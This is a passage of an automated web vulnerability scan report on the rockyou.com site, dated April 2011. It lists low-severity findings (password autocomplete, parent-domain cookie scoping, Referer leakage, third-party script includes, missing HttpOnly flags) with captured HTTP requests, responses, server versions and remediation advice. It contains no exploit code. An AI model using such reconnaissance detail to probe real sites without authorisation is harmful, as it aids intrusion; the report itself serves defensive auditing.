The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /login.php?birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&sex=3&source=3&toscheck=1&user=3 HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: lang=en; AAMBLFLAG=SET; lastlogin=1303164383; sns_type=rockyou.com

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:08:58 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:08:57 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303164538; expires=Wed, 27-Jul-2011 22:08:58 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 22:08:57 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11853 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 36457

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...
<div id="createform" style="display:none">
<form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">
Enter password to register.<br />
...[SNIP]...
</span>
<input type="password" name="pass" id="pass" value=""><br />
...[SNIP]...

3.5. http://www.rockyou.com/login.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /login.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:53 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Set-Cookie: lang=en; expires=Thu, 28-Apr-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303163573; expires=Wed, 27-Jul-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11959 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35767

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...
<div id='createform2' style="display:none">
<form name='createform2a' id="createform2a" method="post" style="padding:0;margin:0" onSubmit="finishLoginNewVerified();">
<input type="hidden" name="email">
...[SNIP]...
<td><input id="pass" type="password" name="pass"></td>
...[SNIP]...

3.6. http://www.rockyou.com/login.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /login.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:53 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Set-Cookie: lang=en; expires=Thu, 28-Apr-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303163573; expires=Wed, 27-Jul-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11959 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35767

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...
<div id="createform" style="display:none">
<form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">
Enter password to register.<br />
...[SNIP]...
</span>
<input type="password" name="pass" id="pass" value=""><br />
...[SNIP]...

4. Cookie scoped to parent domain  previous  next
There are 3 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


4.1. http://www.rockyou.com/ajaxticker.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /ajaxticker.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /ajaxticker.php?instanceid= HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Accept-Encoding: gzip, deflate
Content-Length: 276

set_default_publish_size=341+255.75&show-size=341_256&skin_url=&bg_color=0&background_id=http%3a%2f%2fapps.rockyou.com%2fbg-natashabedingfield.swf&transition_id=multistar&text_color=%23FFFFFF&panel_co
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:54:39 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Cache-Control: no-cache, must-revalidate
Set-Cookie: istack=%7C%7C%7Cwww202.rockyou.com; expires=Wed, 27-Jul-2011 21:54:39 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=14138 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 25

{"mode":"song","data":[]}

4.2. http://www.rockyou.com/login.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /login.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:53 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Set-Cookie: lang=en; expires=Thu, 28-Apr-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303163573; expires=Wed, 27-Jul-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11959 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35767

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...

4.3. http://www.rockyou.com/tos.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /tos.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /tos.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: lang=en; lastlogin=1303163572; AAMBLFLAG=SET

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:05:19 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:05:18 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303164319; expires=Wed, 27-Jul-2011 22:05:19 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 22:05:18 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=12770 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 32905


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML>
<HEAD>
<link href="/css/standard.css" rel="stylesheet" type="text/
...[SNIP]...

5. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /login.php?birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&sex=3&source=3&toscheck=1&user=3 HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: lang=en; AAMBLFLAG=SET; lastlogin=1303164383; sns_type=rockyou.com

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:08:58 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:08:57 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303164538; expires=Wed, 27-Jul-2011 22:08:58 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 22:08:57 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11853 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 36457

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
...[SNIP]...
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=FRONTPAGE/site=ROCKU/aamsz=MEDIUMREC/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=FRONTPAGE/site=ROCKU/aamsz=MEDIUMREC/AGE=/GENDER=/pageid=1" border="0" />
</a>
...[SNIP]...
</script>

<script src="https://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...
<!-- Start Quantcast tag -->
<script type="text/javascript"
src="https://edge.quantserve.com/quant.js">
</script>
...[SNIP]...
<noscript>
<img src="https://pixel.quantserve.com/pixel/p-860pIc8s0YCBQ.gif"
style="display: none" height="1" width="1"
alt="Quantcast"/>
</noscript>
...[SNIP]...
<noscript>
<a href='http://rocku.adbureau.net/adclick/area=SHOWMYGALLERY/aamsz=PREMIUM_MODULE2//AGE=/GENDER=/pageid=1' target="_blank">
<img src='http://rocku.adbureau.net/nserver/area=SHOWMYGALLLERY/aamsz=PREMIUM_MODULE2//AGE=/GENDER=/pageid=1' border="0" />
</a>
...[SNIP]...
<noscript>
<a href="http://rocku.adbureau.net/adclick/aamsz=PM3/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/aamsz=PM3/AGE=/GENDER=/pageid=1" border="0" />
</a>
...[SNIP]...

6. Cross-domain script include  previous  next
There are 4 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


6.1. http://www.rockyou.com/login.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /login.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:53 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Set-Cookie: lang=en; expires=Thu, 28-Apr-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303163573; expires=Wed, 27-Jul-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11959 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35767

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...
</script>

<script src="https://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...
<!-- Start Quantcast tag -->
<script type="text/javascript"
src="https://edge.quantserve.com/quant.js">
</script>
...[SNIP]...

6.2. http://www.rockyou.com/rymini/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /rymini/

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /rymini/ HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:12 GMT
Server: Apache/2.2
Last-Modified: Wed, 13 Apr 2011 01:04:51 GMT
ETag: "adc3-4a0c26554d2c0"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=2102 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 44483

<!doctype html>
<html lang="en">

<head>
   <script src="js/jquery.js" type="text/javascript"></script>
   <script src="js/jquery.anchor.js" type="text/javascript"></script>
   <script type="text/java
...[SNIP]...
</div>

<script src="https://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

6.3. http://www.rockyou.com/rymini/index.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /rymini/index.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /rymini/index.html HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
Referer: http://newton.newtonsoftware.com/career/CareerHome.action?clientId=4028f88b26b87c660126c448b8f212b5&gnewtonResize=http://www.rockyou.com/rymini/GnewtonResize.htm
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:17 GMT
Server: Apache/2.2
Last-Modified: Wed, 13 Apr 2011 01:04:51 GMT
ETag: "adc3-4a0c26554d2c0"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=2206 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 44483

<!doctype html>
<html lang="en">

<head>
   <script src="js/jquery.js" type="text/javascript"></script>
   <script src="js/jquery.anchor.js" type="text/javascript"></script>
   <script type="text/java
...[SNIP]...
</div>

<script src="https://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

6.4. http://www.rockyou.com/tos.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /tos.php

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /tos.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: lang=en; lastlogin=1303163572; AAMBLFLAG=SET

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:05:19 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:05:18 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303164319; expires=Wed, 27-Jul-2011 22:05:19 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 22:05:18 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=12770 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 32905


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML>
<HEAD>
<link href="/css/standard.css" rel="stylesheet" type="text/
...[SNIP]...
</script>

<script src="https://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...
<!-- Start Quantcast tag -->
<script type="text/javascript"
src="https://edge.quantserve.com/quant.js">
</script>
...[SNIP]...

7. Cookie without HttpOnly flag set  previous  next
There are 3 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



7.1. http://www.rockyou.com/ajaxticker.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /ajaxticker.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /ajaxticker.php?instanceid= HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Accept-Encoding: gzip, deflate
Content-Length: 276

set_default_publish_size=341+255.75&show-size=341_256&skin_url=&bg_color=0&background_id=http%3a%2f%2fapps.rockyou.com%2fbg-natashabedingfield.swf&transition_id=multistar&text_color=%23FFFFFF&panel_co
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:54:39 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Cache-Control: no-cache, must-revalidate
Set-Cookie: istack=%7C%7C%7Cwww202.rockyou.com; expires=Wed, 27-Jul-2011 21:54:39 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=14138 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 25

{"mode":"song","data":[]}

7.2. http://www.rockyou.com/login.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /login.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:53 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Set-Cookie: lang=en; expires=Thu, 28-Apr-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303163573; expires=Wed, 27-Jul-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11959 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35767

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...

7.3. http://www.rockyou.com/tos.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /tos.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /tos.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: lang=en; lastlogin=1303163572; AAMBLFLAG=SET

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:05:19 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:05:18 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303164319; expires=Wed, 27-Jul-2011 22:05:19 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 22:05:18 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=12770 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 32905


